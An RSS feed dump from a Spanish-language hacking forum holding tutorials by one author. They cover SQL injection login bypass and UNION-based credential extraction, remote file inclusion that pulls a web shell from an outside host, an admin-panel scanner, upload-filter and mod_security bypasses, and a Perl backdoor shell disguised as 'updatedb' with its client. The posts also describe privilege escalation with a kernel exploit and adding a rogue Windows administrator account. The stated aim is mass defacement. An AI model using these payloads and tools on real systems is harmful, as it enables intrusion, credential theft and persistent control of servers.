*******************************************************************************************************************</pre><br /><br />Cuando tengan todo listo. Prueben hacer el login con los datos correctos y despues con los<br />falsos para verificar que todo anden bien y no seguir el paso 0x03 al pedo.<br /><br />0x03:Formas de atacar<br /><br />La parte vulnerable es la sentecia sql.<br /><br /><pre class="sql bbcode_geshi"><div class="head">Language: SQL</div><span class="kw1">SELECT</span> name<span class="sy0">,</span>password <span class="kw1">FROM</span> users <span class="kw1">WHERE</span> name<span class="sy0">=</span><span class="st0">'$usuario'</span> <span class="kw1">AND</span> password<span class="sy0">=</span><span class="st0">'$password'</span></pre><br /><br />Como veran la idea de hacer un &quot;by pass&quot; es la de acceder a un login sin saber el password<br />ni el user quizas.................<br /><br />¿Esto como se hacer? Pues para que suceda un &quot;by pass&quot; es que la sentencia sql quede true o<br />verdadero o algo asi xD.<br /><br />Como sabemos los datos son : user:admin<br />pass:123<br /><br /><br />Ahora vamos al login en enter.htm de tu servidor web seria algo asi<br /><br />http://127.0.0.1/enter.htm<br /><br />Si probamos con estos datos : user:El Gran Guasón<br />pass:' or 0=0 #<br /><br /><br />Veran que logre entrar como si nada ¿que bien, no?<br />Esto paso porque si los datos no eran correctos en esta caso el password y username no pasaria<br />,pero ahora vemos que si 0 es igual a 0. La sentencia quedaria true y estariamos logeados.<br /><br /><br />0x04:Despedida<br /><br />Ok , este ah sido el final del tutorial , como veran este manual es corto pero bueno , tiene lo<br />esencial para que sepan como funcionen]]></description>
<dc:creator>Guason</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Sun, 24 Jan 2010 13:02:20 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,6236,6236#msg-6236</guid>
<title>Rootear Servidores Webs (5 replies)</title><link>https://foro.undersecurity.net/read.php?15,6236,6236#msg-6236</link><description><![CDATA[Rootear Servidores Webs<br /><br /><br />Autor:El Gran Guasón<br /><br /><br />Indice:<br /><br />0x01:Introducción<br />0x02:Lograr ser admin<br />0x03:Encontrar el panel de administracion<br />0x04:Subir Shell<br />0x05:Habilitar funciones (by passing)<br />0x06:Rootear al servidor<br />0x07:Despedida<br /><br /><br /><br />0x01:Introducción<br /><br /><br />Hola a todos. Hoy les voy a explicar como lograr rootear un servidor web y si quieren hacer mass defacement. Voy a tratar de explicar de varias maneras ya que nunca se sabe como puede estar configurado el servidor atacado. Yo usare un servidor local mio para practicar usando Easy PHP.<br /><br /><br />0x02:Lograr ser admin<br /><br />Ok , mi target es http://127.0.0.1/index.php?id= , para atacarlo tendre varias formas pero solo usare<br />las mas comunes que serian RFI y SQL.<br />Si yo quiero hackear http://127.0.0.1/index.php?id= usando RFI , tendre que comprobarlo de la siguiente manera :<br /><br />http://127.0.0.1/index.php?id=http://chairface.iespana.es/komela.htm<br /><br />Si el resultado de esa busqueda nos da &quot;komemela&quot; seria que la web es vulnerable a RFI , use esta<br />web porque es mas comodo ver un resultado directo que cualquier web que diga &quot;komemela&quot;.<br /><br />Ok , ya vimos como ser admin usando RFI , pero como lo hago haciendo SQL.<br />Bueno para buscar la contraseña tengo que tener *Numero de columnas<br />*Nombre de tablas y columnas vitales.<br /><br /><br />Ok ,ahora vamos a intentarlo de la manera manual.<br /><br />http://127.0.0.1/index.php?id=-1+union+select+0x545441<br /><br />Si intentamos esto nos da cualquier cosa ya que no es la columna correcta pero si le seguimos sumando hasta cuatro ..........<br /><br /><br />http://127.0.0.1/index.php?id=-1+union+select+0x545441+0x545441+0x545441+0x545441<br /><br />Ok ,esta consulta nos devolvio &quot;TTA&quot; porque .......<br /><br /><br />0x545441 = TTA en hexadecimal<br /><br />Ok , ya tenemos el numero de columnas ahora vamos a sacar de la sig manera las tablas.<br /><br />http://127.0.0.1/index.php?id=-1+union+select+0x545441+0x545441+0x545441+0x545441+from+users<br /><br />Si la tabla &quot;users&quot; existe nos devolvera TTA. Por lo tanto en mi base de datos falsa es una sentencia correcta.<br /><br />Ahora ay que sacar las columnas de la tabla &quot;users&quot;<br /><br />Primero realizamos esta consulta<br /><br />http://127.0.0.1/index.php?id=-1+union+select+1,2,3,4<br /><br />Escogemos un numero al azar del resultado de la sentencia. Yo eligo uno.<br /><br />http://127.0.0.1/index.php?id=-1+union+select+concat(name,0x3a,0x545441)+0x545441+0x545441+0x545441+from+users<br /><br />Si vemos como resultado :TTA<br /><br />Es porque la columna tabla existe.<br /><br />Y ahora con el password<br /><br />http://127.0.0.1/index.php?id=-1+union+select+concat(password,0x3a,0x545441)+0x545441+0x545441+0x545441+from+users<br /><br />Pues nos dio de nuevo :TTA<br /><br />Por lo tanto tenemos lo siguientes datos.<br /><br />Numero de columnas = 4<br />Tabla = users<br />Columnas en users = name , password<br /><br />Y ahora la consulta final para sacar el usuario y contraseña del admin<br /><br />http://127.0.0.1/index.php?id=-1+union+select+concat(name,0x3a,password),2,3,4+from+users<br /><br />Y con esto tenemos hola:123<br /><br />usuario : hola<br />password : 123<br /><br /><br />0x03:Encontrar el panel de administracion<br /><br />Ahora para encontrar el panel de administracion seria con mi tool Sniper-Admin en Ruby<br /><br /><br /><br /><pre class="ruby bbcode_geshi"><div class="head">Language: Ruby</div>#nAme program = Sniper-Admin
#Version = -------------
#Autor =  El Gran Guason
&nbsp;
system ('cls')
&nbsp;
require 'net/http'
&nbsp;
paths  = &quot;/admin1.html&quot;,&quot;/login.php&quot;,&quot;/admin1.php&quot;,&quot;/admin2.php&quot;,&quot;/admin2.html&quot;,&quot;/yonetim.php&quot;,&quot;/yonetim.html&quot;,
&quot;/yonetici.php&quot;,&quot;/yonetici.html&quot;,&quot;/adm/&quot;,&quot;/admin/&quot;,
&quot;/admin/account.php&quot;,&quot;/admin/account.html&quot;,&quot;/admin/index.php&quot;,&quot;/admin/index.html&quot;,&quot;/admin/login.php&quot;,
&quot;/admin/login.html&quot;,&quot;/admin/home.php&quot;,&quot;/admin/controlpanel.html&quot;,&quot;/admin/controlpanel.php&quot;,&quot;/admin.php&quot;,
&quot;/admin.html&quot;,&quot;/admin/cp.php&quot;,&quot;/admin/cp.html&quot;,&quot;/cp.php&quot;,&quot;/cp.html&quot;,&quot;/administrator/&quot;,&quot;/administrator/index.html&quot;,
&quot;/administrator/index.php&quot;,&quot;/administrator/login.html&quot;,&quot;/administrator/login.php&quot;,&quot;/administrator/account.html&quot;,
&quot;/administrator/account.php&quot;,&quot;/administrator.php&quot;,&quot;/administrator.html&quot;,&quot;/login.php&quot;,&quot;/login.html&quot;,
&quot;/modelsearch/login.php&quot;,&quot;/moderator.php&quot;,&quot;/moderator.html&quot;,&quot;/moderator/login.php&quot;,&quot;/moderator/login.html&quot;,
&quot;/moderator/admin.php&quot;,&quot;/moderator/admin.html&quot;,&quot;/moderator/&quot;,&quot;/account.php&quot;,&quot;/account.html&quot;,&quot;/controlpanel/&quot;,
&quot;/controlpanel.php&quot;,&quot;/controlpanel.html&quot;,&quot;/admincontrol.php&quot;,&quot;/admincontrol.html&quot;,&quot;/adminpanel.php&quot;,
&quot;/adminpanel.html&quot;,&quot;/admin1.asp&quot;,&quot;/admin2.asp&quot;,&quot;/yonetim.asp&quot;,&quot;/yonetici.asp&quot;,&quot;/admin/account.asp&quot;,
&quot;/admin/index.asp&quot;,&quot;/admin/login.asp&quot;,&quot;/admin/home.asp&quot;,&quot;/admin/controlpanel.asp&quot;,&quot;/admin.asp&quot;,&quot;/admin/cp.asp&quot;,
&quot;cp.asp&quot;,&quot;/administrator/index.asp&quot;,&quot;/administrator/login.asp&quot;,&quot;/administrator/account.asp&quot;,&quot;/administrator.asp&quot;,
&quot;/login.asp&quot;,&quot;/modelsearch/login.asp&quot;,&quot;/moderator.asp&quot;,&quot;/moderator/login.asp&quot;,&quot;/moderator/admin.asp&quot;,&quot;/account.asp&quot;,
&quot;/controlpanel.asp&quot;,&quot;/admincontrol.asp&quot;,&quot;/adminpanel.asp&quot;,&quot;/fileadmin/&quot;,&quot;/fileadmin.php&quot;,&quot;/fileadmin.asp&quot;,
&quot;/fileadmin.html&quot;,&quot;/administration/&quot;,&quot;/administration.php&quot;,&quot;/administration.html&quot;,&quot;/sysadmin.php&quot;,&quot;/sysadmin.html&quot;,
&quot;/phpmyadmin/&quot;,&quot;/myadmin/&quot;,&quot;/sysadmin.asp&quot;,&quot;/sysadmin/&quot;,&quot;/ur-admin.asp&quot;,&quot;/ur-admin.php&quot;,&quot;/ur-admin.html&quot;,&quot;/ur-admin/&quot;,
&quot;/Server.php&quot;,&quot;/Server.html&quot;,&quot;/Server.asp&quot;,&quot;/Server/&quot;,&quot;/wp-admin/&quot;,&quot;/administr8.php&quot;,&quot;/administr8.html&quot;,
&quot;/administr8/&quot;,&quot;/administr8.asp&quot;,&quot;/webadmin/&quot;,&quot;/webadmin.php&quot;,&quot;/webadmin.asp&quot;,&quot;/webadmin.html&quot;,&quot;/administratie/&quot;,
&quot;/admins/&quot;,&quot;/admins.php&quot;,&quot;/admins.asp&quot;,&quot;/admins.html&quot;,&quot;/administrivia/&quot;,&quot;/Database_Administration/&quot;,&quot;/WebAdmin/&quot;,
&quot;/useradmin/&quot;,&quot;/sysadmins/&quot;,&quot;/admin1/&quot;,&quot;/system-administration/&quot;,&quot;/administrators/&quot;,&quot;/pgadmin/&quot;,&quot;/directadmin/&quot;,
&quot;/staradmin/&quot;,&quot;/ServerAdministrator/&quot;,&quot;/SysAdmin/&quot;,&quot;/administer/&quot;,&quot;/LiveUser_Admin/&quot;,&quot;/sys-admin/&quot;,&quot;/typo3/&quot;,
&quot;/panel/&quot;,&quot;/cpanel/&quot;,&quot;/cPanel/&quot;,&quot;/cpanel_file/&quot;,&quot;/platz_login/&quot;,&quot;/rcLogin/&quot;,&quot;/blogindex/&quot;,
&quot;/formslogin/&quot;,&quot;/autologin/&quot;,&quot;/support_login/&quot;,&quot;/meta_login/&quot;,&quot;/manuallogin/&quot;,&quot;/simpleLogin/&quot;,
&quot;/loginflat/&quot;,&quot;/utility_login/&quot;,&quot;/showlogin/&quot;,&quot;/memlogin/&quot;,&quot;/members/&quot;,&quot;/login-redirect/&quot;,&quot;/sub-login/&quot;,
&quot;/wp-login/&quot;,&quot;/login1/&quot;,&quot;/dir-login/&quot;,&quot;/login_db/&quot;,&quot;/xlogin/&quot;,&quot;/smblogin/&quot;,&quot;/customer_login/&quot;,&quot;/UserLogin/&quot;,
&quot;/login-us/&quot;,&quot;/acct_login/&quot;,&quot;/admin_area/&quot;,&quot;/bigadmin/&quot;,&quot;/project-admins/&quot;,&quot;/phppgadmin/&quot;,&quot;/pureadmin/&quot;,
&quot;/sql-admin/&quot;,&quot;/radmind/&quot;,&quot;/openvpnadmin/&quot;,&quot;/wizmysqladmin/&quot;,&quot;/vadmind/&quot;,&quot;/ezsqliteadmin/&quot;,
&quot;/hpwebjetadmin/&quot;,&quot;/newsadmin/&quot;,&quot;/adminpro/&quot;,&quot;/Lotus_Domino_Admin/&quot;,&quot;/bbadmin/&quot;,&quot;/vmailadmin/&quot;,
&quot;/Indy_admin/&quot;,&quot;/ccp14admin/&quot;,&quot;/irc-macadmin/&quot;,&quot;/banneradmin/&quot;,&quot;/sshadmin/&quot;,&quot;/phpldapadmin/&quot;,&quot;/macadmin/&quot;,
&quot;/administratoraccounts/&quot;,&quot;/admin4_account/&quot;,&quot;/admin4_colon/&quot;,&quot;/radmind-1/&quot;,&quot;/Super-Admin/&quot;,&quot;/AdminTools/&quot;,
&quot;/cmsadmin/&quot;,&quot;/SysAdmin2/&quot;,&quot;/globes_admin/&quot;,&quot;/cadmins/&quot;,&quot;/phpSQLiteAdmin/&quot;,&quot;/navSiteAdmin/&quot;,&quot;/server_admin_small/&quot;,
&quot;logo_sysadmin/&quot;,&quot;server/&quot;,&quot;database_administration/&quot;,&quot;power_user/&quot;,&quot;system_administration/&quot;,&quot;ss_vms_admin_sm/&quot;;
&nbsp;
&nbsp;
&nbsp;
&nbsp;
&nbsp;
&nbsp;
intro=[
          &quot;+=============================================+&quot;,
          &quot;+          Sniper-Admin By Guason              +&quot;,
          &quot;+          Buscador de panel de admin             +&quot;,
          &quot;+                 Written By Guason                    +&quot;,
          &quot;+        Email:guason-cracker[at]hotmail.com       +&quot;,
          &quot;+         Blog = guason-cracker.blogspot.com         +&quot;,
          &quot;+=============================================+&quot;
          ]
&nbsp;
def print_intro text
  w=&quot;|&quot;
  text.each do |str|
    str.scan(/./) do |c|
        STDOUT.flush
      if w==&quot;|&quot; 
        print &quot;\b&quot;+c +w
        w=&quot;/&quot;
      elsif w==&quot;/&quot; 
        print &quot;\b&quot;+c +w
        w=&quot;-&quot;  
      elsif w==&quot;-&quot; 
        print &quot;\b&quot;+c +w
        w=&quot;\\&quot; 
      else
      print &quot;\b&quot;+c +w
      w=&quot;|&quot;
      end
      sleep 0.04
    end
    print &quot;\b &quot;
    puts &quot;&quot;
  end
end
&nbsp;
print_intro intro
&nbsp;
&nbsp;
puts &quot;\nInserta el host a scanear (e.g. example.com):&quot;
host=gets.chomp
&nbsp;
puts &quot;\nInserta el puerto (e.g. 80):&quot;
port=gets.chomp
&nbsp;
&nbsp;
&nbsp;
print &quot;\n\nOK , PROBANDO CON #{host}\n\n\n&quot;
&nbsp;
&nbsp;
&nbsp;
paths.each do |path|
&nbsp;
begin
&nbsp;
http = Net::HTTP.new(host,port)
resp= http.get(path)
w=resp.body 
&nbsp;
rescue 
&nbsp;
print &quot;\nNO SE PUDO CONECTAR\n\n&quot;
exit(1);
&nbsp;
end
&nbsp;
&nbsp;
if w=~/User/ ||   w=~ /Username/ ||
   w=~ /Password/ ||
 w=~ /username/ ||
w=~ /password/ ||
 w=~ /user/ ||
w=~ /pass/ ||
 w=~ /User/ ||
w=~ /Pass/ ||
w=~ /USERNAME/ ||
w=~ /PASSWORD/ ||
w=~ /Senha/ ||
w=~ /senha/ ||
w=~ /Personal/ ||
w=~ /Usuario/ ||
w=~ /Clave/ ||
w=~ /Usager/ ||
w=~ /usager/ ||
w=~ /Sing/ ||
w=~ /passe/ ||
w=~ /P\/W/ || 
w=~ /Admin Password/
&nbsp;
print &quot;[?]Se encontro panel #{path}\n\n&quot;
print &quot;\n\nWritten By Guason || 2009\n\n\n&quot;
system ('pause')
exit(1);
&nbsp;
end
end</pre><br /><br />Pues a me me dio login.php.<br /><br />Asi que nos logeamos en http://127.0.0.1/login.php con los datos.<br /><br />Usuario:Hola<br />Password:123<br /><br /><br />Y listo seremos admin !.<br /><br /><br /><br />0x04:Subir Shell<br /><br /><br />Si ya tenemos todo esto , no signifca que todo el deface esta terminado sino que falta subir la shell. Pero yo me conformo siendo admin pues no soy ambisioso xD.Ok ,para subir la shell mediante RFI<br />seria asi.<br /><br /><br />http://127.0.0.1/index.php?id=http://chairface.iespana.es/shell.txt<br /><br />Con esto ya estaria listo. Puede ser la pagina chairface.iespana ya haya quebrado pero si pasa eso<br />se buscan una shell la ponen en formato txt la suben a una web suya en el mismo formato (txt).<br /><br />Para subir la shell habiendo conseguido ser admin mediante tecnicas sql y la pagina atacada no sea<br />vulnerable a RFI , se tendria que subir la shell mediante un upload. A veces los upload filtran la extensiones pero si este upload se dedica a imagenes seria asi shell.jpg.php y listo nos dejaria pasar la shell.<br />Despues para conectarnos con la shell seria http://127.0.0.1/imagenes/shell.jpg.php<br />Y con esto ya la shell estaria subida.<br />Eso si /imagenes es el directorio donde mi upload sube las imagenes. Los upload las ponen en directorio diferentes pero solo es cuestion de buscar.<br /><br /><br />0x05:Habilitar funciones (by passing)<br /><br />Ahora vamos a aprender como habilitar funciones cuando estas son bloqueadas por seguridad bloqueando funciones como &quot;exec&quot; en el codigo php pero solo esta bloqueada para el que creo ese archivo.<br />Los modo de bypassing son SAFE-MODE y MOD_SECURITY<br /><br /><br /><br />******Safe-Mode********<br /><br /><br />El modo seguro es cuando por ejemplo en un hosting donde hay usuarios que tienen un /home<br />diferente por cada usuario , esto es para que lo usuarios no se metan en el directorio del otro.<br />Normalmente hay varias formas para bypassear un Safe-Mode pero solo voy a explicar una.<br />Tendrian que crear un archivo ini con el siguiente codigo.<br /><br />********datos.ini******************<br />register_globals = On<br />engine = On<br />safe_mode = Off<br />safe_mode_exec_dir = On<br />safe_mode_include_dir =On<br /><br />*************************************<br />Con esto ya creado nos podremos mover con facilidad en el servidor<br /><br /><br />*********MOD_SECURITY********************<br /><br />Tambien esta Mod_Security , este molesta mucho cuando nos queremos mover en el servidor atacado.Para esto tendremos que modificar el archivo .htaccess y agregar estas lineas........<br /><br /><br />&lt;IfModule mod_security.c&gt;<br />SecFilterEngine Off<br />SecFilterScanPOST Off<br />SecFilterCheckURLEncoding Off<br />SecFilterCheckUnicodeEncoding Off<br />&amp;/IfModule&gt;<br /><br /><br />Y con esto ya estaria bypasseado el mod_security................<br /><br /><br /><br />0x06:Rootear el servidor<br /><br />Estamos ya casi en el final.Lo que necesitamos ahora es subir una shell inversa para poder conectarnos con el servidor atacado. Muchos fracasados usan netcat para esto pensando que es<br />la unica herramienta para hacer una shell inversa pero eso no es cierto , pues se puede programar una tranquilamente.............<br /><br />Aca el codigo de una shell mia en perl<br /><br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="sy0">==================</span><span class="coMULTI">=back-Ass================================================#
#Name program = Back-Ass
#Version = 0.1
#Autor = El Gran Guason
#Fucion = Ejecuta shell de acuerdo a OP linux o Win32
&nbsp;
use Socket;
use IO::Socket;
&nbsp;
&nbsp;
sub SO{
	my $SO = $^O;
	if (index($SO,'linux') == '0'){
		return &quot;Linux&quot;;
	}else{
		return &quot;Windows&quot;;
	    }
}
&nbsp;
&nbsp;
$op = SO;
&nbsp;
if ($op eq &quot;Windows&quot;) {
&amp;win32;
}
&nbsp;
if ($op eq &quot;Linux&quot;) {
&amp;linux;
}
&nbsp;
&nbsp;
&nbsp;
&nbsp;
sub win32 {
&nbsp;
 exit if fork;
 $0 = &quot;updatedb&quot; . &quot; &quot; x100;
 $SIG{CHLD} = 'IGNORE';
 socket(S, PF_INET, SOCK_STREAM, 0);
 setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
 bind(S, sockaddr_in($port, INADDR_ANY));
 listen(S, 50);
 while(1)
 {
    accept(X, S);
    unless(fork)
    {
        open STDIN, &quot;&lt;&amp;X&quot;;
        open STDOUT, &quot;&gt;&amp;X&quot;;
        open STDERR, &quot;&gt;&amp;X&quot;;
        close X;
&nbsp;
&nbsp;
        exec(&quot;cmd.exe&quot;);
&nbsp;
&nbsp;
    }
    close X;
 }
&nbsp;
&nbsp;
&nbsp;
&nbsp;
&nbsp;
}
&nbsp;
sub linux {
&nbsp;
$port = 11888;
&nbsp;
 exit if fork;
 $0 = &quot;updatedb&quot; . &quot; &quot; x100;
 $SIG{CHLD} = 'IGNORE';
 socket(S, PF_INET, SOCK_STREAM, 0);
 setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
 bind(S, sockaddr_in($port, INADDR_ANY));
 listen(S, 50);
 while(1)
 {
    accept(X, S);
    unless(fork)
    {
        open STDIN, &quot;&lt;&amp;X&quot;;
        open STDOUT, &quot;&gt;&amp;X&quot;;
        open STDERR, &quot;&gt;&amp;X&quot;;
        close X;
        exec {'/bin/sh'} '-bash' . &quot;\0&quot; x 4;
&nbsp;
    }
    close X;
 }
&nbsp;
&nbsp;
}
&nbsp;
&nbsp;
#==========================================================================</span></pre>
=========#<br /><br />Y el cliente Connect-Ass<br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="co1">#=============================Connect-Ass==========================================#</span>
<span class="co1">#Name program = Connect-Ass</span>
<span class="co1">#Version = beta</span>
<span class="co1">#Autor = El Gran Guasón</span>
&nbsp;
&nbsp;
<span class="kw2">use</span> IO<span class="sy0">::</span><span class="me2">Socket</span><span class="sy0">;</span>
<span class="kw2">use</span> Socket<span class="sy0">;</span>
&nbsp;
<span class="kw1">my</span> <span class="re0">$host</span> <span class="sy0">=</span> <a href="http://perldoc.perl.org/functions/shift.html"><span class="kw3">shift</span></a><span class="sy0">;</span>
&nbsp;
<span class="kw1">if</span> <span class="br0">&#40;</span><span class="sy0">!</span><span class="re0">$host</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\n</span><span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>Connect-ASS by Guason<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span><span class="es0">\n</span><span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\n</span>Modo de uso $0 &lt;IP&gt;<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;&lt;IP&gt; Ip de la victima infectada<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\n</span>Written by Guason<span class="es0">\n</span><span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/exit.html"><span class="kw3">exit</span></a> <span class="nu0">1</span><span class="sy0">;</span>
<span class="br0">&#125;</span>
&nbsp;
&nbsp;
<span class="re0">$hoster</span> <span class="sy0">=</span> ver<span class="br0">&#40;</span><span class="re0">$host</span><span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
<span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$hoster</span> <span class="kw1">eq</span> <span class="st0">&quot;false&quot;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\n</span>La IP es incorrecta<span class="es0">\n</span><span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/exit.html"><span class="kw3">exit</span></a> <span class="nu0">1</span><span class="sy0">;</span>
<span class="br0">&#125;</span>
&nbsp;
<span class="re0">$port</span> <span class="sy0">=</span> <span class="st0">&quot;11888&quot;</span><span class="sy0">;</span>
&nbsp;
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\n</span>[?]Conectando con  $host<span class="es0">\n</span><span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
&nbsp;
<a href="http://perldoc.perl.org/functions/sleep.html"><span class="kw3">sleep</span></a> <span class="nu0">10</span><span class="sy0">;</span>
&nbsp;
<a href="http://perldoc.perl.org/functions/system.html"><span class="kw3">system</span></a> <span class="br0">&#40;</span><span class="st0">&quot;telnet $host $port&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\n</span>[-]$host no esta infectado con back-ass<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
&nbsp;
&nbsp;
<span class="co1">########################FUNciones################################################</span>
<span class="kw2">sub</span> ver <span class="br0">&#123;</span>
<span class="kw1">my</span> <span class="re0">$ip</span> <span class="sy0">=</span> <a href="http://perldoc.perl.org/functions/shift.html"><span class="kw3">shift</span></a><span class="sy0">;</span>
<span class="kw1">my</span> <span class="re0">$valid_number</span> <span class="sy0">=</span> <span class="st_h">'(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])'</span><span class="sy0">;</span>
<span class="kw1">my</span> <span class="re0">$valid</span> <span class="sy0">=</span> <span class="br0">&#40;</span><span class="re0">$ip</span> <span class="sy0">=~</span> <span class="co2">m/^$valid_number\.$valid_number\.$valid_number\.$valid_number$/</span><span class="br0">&#41;</span> <span class="sy0">?</span> <a href="http://perldoc.perl.org/functions/return.html"><span class="kw3">return</span></a> <span class="st0">&quot;ok&quot;</span> <span class="sy0">:</span> <a href="http://perldoc.perl.org/functions/return.html"><span class="kw3">return</span></a> <span class="st0">&quot;false&quot;</span><span class="sy0">;</span>
<span class="br0">&#125;</span>
<span class="co1">#######################################################################</span>
<span class="co1">#==========================================================================</span></pre>
========#<br /><br />Ahora compilamos back-ass a exe ya que eh visto que varios manuales utilizan a perl para ejecutar el backdoor pero no todos los servidores utilizan perl , lo que hace de todo esto una tarea inutil.<br />Ok , cuando tengan compilado el programa lo suben con la shell o algun upload y lo ejecutan , si lo subieron con la shell lo ejecutan asi ./back-ass.<br />Despues para conectarnos hacemos en nuesta computadora.<br /><br />perl connect-ass.pl 127.0.0.1<br /><br />Cambian 127.0.0.1 por la ip del servidor atacado , esperamos un rato y estaremos en la shell ejecutando comandos tranquilamente.<br />Ahora si el servidor atacado es un linux hacemos lo siguiente.<br /><br /><br />Ejecutamos:<br /><br />uname -a ;pwd;id<br /><br /><br />Hagamos de cuenta que recibimos esto:<br /><br />Guason-&gt;uname -a;pwd;id<br /><br />Linux elat 2.4.7-10 #1 Thu Sep 6 17:27:27 EDT 2001 i686 unknown<br />/<br />uid=99(nobody) gid=99(nobody) groups=99(nobody)<br /><br />Como veremos la version de linux es 2.4.7-10<br /><br />Ahora es hora de buscar un exploit que nos permita rootear la version 2.4.7-10.Entonces tenemos el exploit kmod para explotar la version 2.4.7-10.<br />Entonces la subimos ya sea con wget si es que el servidore atacado tiene el comando o lo suben por la shell.<br />Cuando este subido le damos permiso de ejecucion:<br /><br />chmod 777 kmod<br /><br />y despues lo ejecutan asi<br /><br />./kmod<br /><br /><br />Y listo si todo salio bien seremos root y lo podremos comprobar de la siguiente manera con el comando &quot;id&quot; y si vemos root sera porque ya lo somos xD.<br /><br />Ahora si el servidor atacado es un Windows.<br /><br />Entonces ejecutamos en la shell net user /add Idiota 123 y si quieren lucirse pongas esto<br /><br />net localgroup Administradores /add Idiota<br /><br />Y listo seremos admin aunque no root............................<br /><br />Tendriamos que ejecutar mstsc.exe y se nos abrira una ventana , despues rellenamos los campos que nos pide y listo.............<br /><br /><br />0x07:Despedida<br /><br />Espero que les haya gustado o si no francamente no me interesa xD.<br /><br />Fuente:guason-cracker.blogspot.com]]></description>
<dc:creator>Guason</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Fri, 09 Apr 2010 18:47:44 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,6214,6214#msg-6214</guid>
<title>Analisis de un bug y creacion de un exploit (3 replies)</title><link>https://foro.undersecurity.net/read.php?15,6214,6214#msg-6214</link><description><![CDATA[Analisis de un bug y creacion de un exploit<br /><br /><br /><br />Autor: El Gran Guasón<br /><br /><br /><br /><br />Indice:<br /><br />0x01:Introduccion<br />0x02:Creando un index vulnerable<br />0x03:Reconocimiento del bug<br />0x04:Creacion de un exploit<br />0x05:Practica del ataque<br />0x06:Despedida<br /><br /><br /><br />0x01:Introduccion<br /><br /><br />Hola a todos . El otro dia quede pensando en que queria descubrir una vulnerabilidad para despues crear un exploit si la encontraba . Y me quede pensando en que mucha gente no sabe como un hace un exploit y publica solo el bug .Pues yo ya habia hecho un manual sobre creacion de exploits en perl pero no lo hice teniendo en cuenta un bug para poder hacerlo , asi que esta va a ser como un mejora.<br /><br /><br />0x02:Creando un index vulnerable<br /><br /><br /><br />Para poder practicar les recomiendo Easy PHP , pueden buscarlo en google , descargarlo e instalarlo obviamente xD.Pero creo que lo tengo en algun lado de mi blog.<br />Ok , a continuacion veran un index vulnerable.<br /><br /><br /><br />=======================index.php==============================================<br /><pre class="bbcode">
&lt;?php 
$host = 'localhost'; 
$dbuser = 'root'; 
$dbname = 'test'; 
$db = mysql_connect($host, $dbuser); 
mysql_select_db($dbname,$db); 
$sql = &quot;SELECT * FROM users WHERE id=&quot;.$_GET['id']; 
$query = mysql_query($sql); 
if(@mysql_num_rows($query)==0){ 
die('Cagate! :('); 
} 
$result=@mysql_fetch_row($query); 
echo &quot;&lt;h2&gt;&lt;center&gt;Nuevo manual&lt;br&gt;Ejemplos&lt;br&gt;&lt;br&gt;&quot;; 
echo &quot;&lt;font color='#FF0000'&gt;user_id: &lt;/font&gt;&quot;.$result[0].&quot;&lt;br&gt;&quot;; 
echo &quot;&lt;font color='#FF0000'&gt;username: &lt;/font&gt;&quot;.$result[1].&quot;&lt;br&gt;&quot;; 
// echo &quot;password: &quot;.$result[2].&quot;&lt;br&gt;&quot;; 
echo &quot;&lt;/h2&gt;&lt;/center&gt;&quot;; 
die();?&gt;</pre><br />===============================================================================<br /><br />Y los datos para la consola sql<br /><br /><br /><br /><pre class="bbcode">
CREATE 
TABLE 
`users` (
`id` int(10) UNSIGNED 
NOT 
NULL 
AUTO_INCREMENT,
`name` varchar(25) NOT 
NULL,
`password` varchar(50) NOT 
NULL,
`country` varchar(20) NOT 
NULL,
PRIMARY 
KEY 
(`id`)




INSERT 
INTO 
`users` VALUES 
(1, 'Guason', '123', 'Argentina');
INSERT 
INTO 
`users` VALUES 
(2, 'Pero', '11', 'Infierno');
INSERT 
INTO 
`users` VALUES 
(3, 'Trinity', '12354', 'Via Lactea');
INSERT 
INTO 
`users` VALUES 
(4, 'Galaxia', 'gaylord', 'Cabaret');</pre><br /><br /><br />oK , ahora verifiquen que hayan hecho todo bien de lo contrario se les mostrara como 400 errores .<br /><br /><br />0x03:Reconocimiento del bug<br /><br /><br />Ok ,como ya he explicado esto como 120 veces solo voy a poner la inyeccion sql ya hecha , ya que se debe al mal filtrado de las variables y con este error podemos sacar tablas y columnas con password o emails .<br /><br /><br />h<pre class="bbcode">
